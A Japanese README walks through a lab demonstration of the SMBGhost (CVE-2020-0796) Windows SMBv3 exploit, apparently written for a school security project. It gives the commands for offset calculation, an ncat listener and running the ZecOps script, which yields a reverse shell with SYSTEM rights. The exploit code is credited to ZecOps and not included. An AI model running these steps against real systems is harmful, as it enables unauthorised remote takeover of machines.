CVE-2020-0796(SMBGhost)の教育用概念実証エクスプロイト。Windows SMBv3での事前認証RCEを示す。ステップバイステップのラボセットアップ、オフセット計算、リバースシェル実行を含み、管理されたサイバーセキュリティトレーニング用。
このプロジェクトは、SMBGhost としても知られる CVE-2020-0796 の概念実証 (PoC) エクスプロイトを実演するものです。CVE-2020-0796 は、SMBv3 を使用する Windows 10 および Windows Server システムに影響を与える、認証前の重大な RCE 脆弱性です。これは学校のサイバーセキュリティプロジェクトの一部として開発されました。エクスプロイトコードのすべての功績は ZecOps に帰属します。私は教育目的で、管理されたラボ環境内で CVE-2020-0796 の悪用を実演するために、このコードを利用・適応しただけです。
このデモを再現するには、以下のセットアップが必要です:
SMBleedingGhost.py (ZecOps 作)calc_target_offsets.bat (ZecOps 作)攻撃者 と ターゲット の両方の仮想マシンで コマンドプロンプト を起動します。
各マシンで次のコマンドを実行します:
ipconfig
CVE-2020-0796-RCE-POC-master フォルダーに移動します。calc_target_offsets.bat をダブルクリックして実行します。CVE-2020-0796-RCE-POC-master フォルダーを開きます。SMBleedingGhost.py を右クリックし、メモ帳で開きます。SMBleedingGhost.py ファイル内で下にスクロールし、OFFSETS = { で始まるセクションを見つけます。新しいコマンドプロンプトを開き、以下を実行します:
ncat -lvp 4321
4321 に設定されます。cd Desktop
cd CVE-2020-0796-RCE-POC-master
dir
python SMBleedingGhost.py <target_ip> <attacker_ip> <port>
このデモで使用した例:
python SMBleedingGhost.py 192.168.18.61 192.168.18.62 4321
192.168.18.61: ターゲットVM の IP192.168.18.62: 攻撃者VM の IP4321: netcat リスナーで使用したポート成功した場合、netcat ウィンドウに次のように表示されます:
Microsoft Windows [Version 10.0.18362.356]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
これにより、次のことが確認できます:
アクセスを検証するには、以下を実行します:
whoami
これにより、次の結果が得られます:
whoami
nt authority\system
これは、攻撃者VM がターゲットVM 上で システムレベルの権限 を取得したことを意味します。
また、以下も実行できます:
ipconfig
ターゲットVM のネットワークとやり取りしていることを確認できます。

注記: エクスプロイト後にターゲットVM がクラッシュする場合があります。クラッシュした場合は、再起動してください。再起動後、攻撃者セッションを再確立する必要があります。
このデモは、ZecOps によって開発された公開済みの概念実証に基づいています。
エクスプロイトコードのすべての功績は ZecOps に帰属します。私は教育目的で、管理されたラボ環境内で CVE-2020-0796 の悪用を実演するために、このコードを利用・適応しただけです。
このリポジトリは教育目的のみで作成されています。
実演されるすべてのツール、スクリプト、および技術は、管理されたラボ環境でサイバーセキュリティの脆弱性を理解するのに役立つことを目的としています。所有していない、またはテストする明示的な許可を得ていないシステムやネットワークで、提供された資料を決して使用しないでください。
ソフトウェアの誤用について、作者は一切の責任を負いません。